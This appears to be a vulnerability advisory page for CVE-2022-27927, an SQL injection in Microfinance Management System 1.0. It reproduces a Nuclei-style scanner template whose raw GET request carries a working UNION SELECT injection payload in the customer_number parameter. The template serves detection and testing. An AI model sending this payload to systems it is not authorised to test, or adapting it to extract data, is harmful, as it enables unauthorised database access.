CVE-2022-27927: Microfinance Management System 1.0 - SQL Injection

日期: 2025-08-01 | 影响软件: Microfinance Management System | POC: 已公开

漏洞描述

Microfinance Management System 1.0 is susceptible to SQL Injection.

PoC代码[已公开]

id: CVE-2022-27927

info:
  name: Microfinance Management System 1.0 - SQL Injection
  author: lucasljm2001,ekrause
  severity: critical
  description: |
    Microfinance Management System 1.0 is susceptible to SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927
    - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
    - https://www.exploit-db.com/exploits/50891
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27927
    - https://www.sourcecodester.com/php/14822/microfinance-management-system.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27927
    cwe-id: CWE-89
    epss-score: 0.7453
    epss-percentile: 0.98813
    cpe: cpe:2.3:a:microfinance_management_system_project:microfinance_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microfinance_management_system_project
    product: microfinance_management_system
  tags: cve,cve2022,microfinance,edb,sqli,microfinance_management_system_project
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210096c506b95d0c585a75433b9a15f2fd19158f991512085d2a6733cd367b9adc39022061d104622935be428c9e14c1d00b46f4734ab2ff7355865fdc97674d319f01d0:922c64590222798bb761d5b6d8e72950